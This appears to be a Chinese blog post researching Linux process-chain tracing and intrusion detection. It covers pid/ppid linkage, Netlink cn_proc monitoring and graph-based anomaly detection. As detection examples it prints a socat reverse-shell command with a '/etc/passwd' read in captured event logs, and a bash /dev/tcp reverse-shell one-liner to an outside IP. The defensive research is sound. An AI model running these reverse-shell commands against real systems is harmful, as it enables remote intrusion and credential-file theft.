zoukankan      html  css  js  c++  java
  • 进程链关联及检测调研

    0x01进程基础

    进程的定义

    根据维基百科的定义,进程(Process)是计算机中已运行程序的实体。用户下达运行程序的命令后,就会产生进程。进程需要一些资源才能完成工作,如CPU使用时间、存储器、文件以及I/O设备,且为依序逐一进行,也就是每个CPU核心任何时间内仅能运行一项进程。

    我们简单总结下,进程就是代码运行的实体。这里补充一点,进程不一定都是正在运行的,也可能在等待调度或者停止,进程状态将在后续详细介绍。

    pid和ppid

    进程运行时PID是由操作系统随机分配的,同一个程序运行两次会产生两个进程,当然也就有两个不同的PID。

    每个进程除了一定有PID还会有PPID,也就是父进程ID,通过PPID可以找到父进程的信息。

    进程号为1的进程并没有PPID。因为所有进程都来自于一个进程,所以Linux的进程模型也叫做进程树。

    Relevant Link:

    https://wiki.jikexueyuan.com/project/linux-process/ppid.html
    

    0x02 进程监控已有方法

    Relevant Link:

    技术分享 | Linux 入侵检测中的进程创建监:https://www.freebuf.com/column/208928.html
    

    0x03 进程启动方式

    Relevant Link:

    https://www.cnblogs.com/LittleHann/p/12049910.html
    

    0x04 方案

    方案一:

    进程链聚类关联:通过pid-ppid对进程的生命周期进行串联。

    借助已有日志不断跟踪ppid。(暴力解法)

    方法二:审计进程组

    • 用 PGID 表示的进程组
    • 用 SID 表示的会话

    Relevant Link:

    https://mp.weixin.qq.com/s/5pVKNI6_hzhaXTOUxU9bTA
    

    推荐方案三:基于Linux连接器的审计进程事件实现方案+优化ppid追踪

    img

    在大量PID创建的场景,比如Docker的宿主机上,内核返回PID时,因为PID返回非常多非常快,很多进程启动后,立刻消失了,另外一个线程都还没去读取/proc/,进程都丢失了,场景常出现在Bash执行某些命令。

    最终,我们选择Linux Kernel Netlink接口的cn_proc指令作为我们进程监控方案,借助对Bash命令的收集,作为该方案的补充。当然,仍然存在丢数据的情况,但我们为了系统稳定性,产品侵入性低等业务需求,牺牲了一些安全性上的保障。

    对于Docker的场景,采用宿主机运行,捕获数据,关联到Docker容器,上报到日志中心的做法来实现。

    同美团方案 Linux Kernel Netlink接口的cn_proc指令作为进程监控方案 https://tech.meituan.com/2019/01/17/distributed-hids-cluster-architecture-design.html

    img

    1、linux内核提供连接器模块与进程事件收集机制,无需任何改动

    2、在用户态实现轻量级ncp(netlink connector process)应用程序接收netlink进程事件消息

    测试反弹shell案例,输出五条事件(3条Exec,2条Fork), 回溯整个过程.

    Exec: {tid:5860 pid:5860} -> process exe:/usr/bin/socat, cmdline:socat exec:bash -li,pty,stderr,setsid,sigint,sane tcp:10.89.93.11:8011, cwd:/home/cnptest
    
    Fork: {ptid:5860 ppid:5860 tid:5861 pid:5861} -> process exe:/usr/bin/socat, cmdline:socat exec:bash -li,pty,stderr,setsid,sigint,sane tcp:10.89.93.11:8011, cwd:/home/cnptest
    
    Exec: {tid:5861 pid:5861} -> process exe:/usr/bin/bash, cmdline:bash -li, cwd:/home/cnptest
    
    Fork: {ptid:5861 ppid:5861 tid:5918 pid:5918} -> process exe:/usr/bin/bash, cmdline:bash -li, cwd:/home/cnptest
    
    Exec: {tid:5918 pid:5918} -> process exe:/usr/bin/cat, cmdline:cat /etc/passwd, cwd:/home/cnptest
    

    重点关注Exec事件

    第一条Exec事件:socat进程(pid 5860)执行socat exec, 进程详细信息: exe为/usr/bin/socat, cmdline:socat exec:bash -li,pty,stderr,setsid,sigint,sane tcp:10.89.93.11:8011

    第二条Exec事件:socat进程 fork出子进程 bash(pid 5861) 执行bash -li, bash进程详细信息:exe:/usr/bin/bash, cmdline: bash -li

    第二条Exec事件:bash进程 fork出子进程 cat(pid 5918) 执行cat /etc/passwd, /usr/bin/cat, cmdline:cat /etc/passwd

    根据上述5条事件,可以还原在10.89.93.11通过socat、bash -i等命令反弹进程shell, 并获取主机passwd信息的整个过程。

    Relevant Link:

    https://www.mdeditor.tw/pl/2R6N
    https://www.cnblogs.com/LittleHann/archive/2004/01/13/12258431.html
    

    0x05 父子进程检测

    https://stackoverflow.com/questions/37576366/how-to-trace-the-list-of-pids-running-on-a-specific-core

    刚开始考虑如何检测异常的父子进程时,我便立即想到可将它转变为一个图形问题。毕竟,对给定主机而言,进程的执行过程能够用图形来表示。我们图形中的节点将会是按进程 ID (PID) 分解而成的单独进程,而连接节点的每条线则代表一个 process_creation 事件。给定连线中将会包括从事件中获取的重要元数据,例如时间戳、命令行参数以及用户。

    ​ 图 1 - 进程链的图形表现形式示例

    现在我们有了主机进程事件的图形表现形式。然而,“离地攻击”可以从一直执行的同一系统级进程中启动新进程。我们需要找到一种方法来在特定图形中将好的和坏的进程链区别开来。社区检测技巧指基于节点间线条的密度将大的图形细分为较小的“社区”。要使用这种方法,我们需要找到一种方法来为节点间的连线生成权重,从而确保社区检测方法能够正确运行并找到图形中的异常部分。对此,我们需要求助于机器学习。

    机器学习

    为了生成连线权重模型,我们需要使用监督式学习,这种机器学习方法会将带标签的数据输入到模型中。

    Relevant Link:

    https://www.elastic.co/cn/blog/discovering-anomalous-patterns-based-on-parent-child-process-relationships
    

    孤儿进程问题

    Relevant Link:

    https://www.cnblogs.com/lushilin/p/9401494.html
    

    0x06 父进程欺骗技术概述与检测

    Relevant Link:

    https://www.anquanke.com/post/id/168618
    

    0x07 检测隐藏进程的方法

    Relevant Link:

    https://blog.csdn.net/bin_linux96/article/details/105889045
    

    基于进程行为的异常检测研究综述

    0x08 举例异常进程

    • 提权行为:利用系统漏洞或者系统特性,从非root账户创建root权限的新进程
    • 反弹shell:将系统指令包装器(cmdline wrapper)的输出和输出绑定为网络Socket句柄,在受害者机器和攻击者机器之间建立一条双向交互式命令行会话
      • sh -c bash -i >& /dev/tcp/50.116.3.177/80 0>&1
    • 进程轮廓(proces profile)
      • 进程白名单:例如docker环境中只允许某一些指纹的进程启动
      • 进程黑名单:例如禁止IIS启动cmd.exe等特定行为

    Relevant Link:

    https://www.cnblogs.com/LittleHann/p/12258431.html
    

    0x09 其他

    手动查看可疑进程

    一般可通过top命令查看正在运行的程序所占用的资源, 或者用ps aux列出当前系统所用的进程. 如果发现可疑进程(没见过、耗资源), 可以用以下命令进一步:

    • 查看该进程启动的完整命令行: ps eho command -p $PID
    • 查看该进程启动时候所在的目录: readlink /proc/$PID/cwd
    • 查看该进程启动时的完整环境变量: strings -f /proc/$PID/environ | cut -f2 -d ‘ ‘
    • 列出该进程所打开的所有文件: lsof -p $PID

    Relevant Link:

    windows端父进程和子进程的关系(UAC 绕过思路):
    https://blog.csdn.net/l_f0rm4t3d/article/details/25567463
    

    父进程为1号进程(ppid=1)的僵尸进程处理和分析

    Relevant Link:

    https://blog.csdn.net/YuZhiHui_No1/article/details/53011390
    
  • 相关阅读:
    Jmeter简单使用
    Linux命令补充
    数据加密
    问题 Can't load AMD 64-bit .dll on a IA 32-bit platform
    需要知道的东西很多还要知道的牢固
    Sqlyog问题
    精神苦难和快乐
    了解一个名词——GTD
    超强记忆力提升九大心法-10连锁记忆法
    Array数组结构底层实现复习
  • 原文地址:https://www.cnblogs.com/Mang0/p/13878654.html
Copyright © 2011-2022 走看看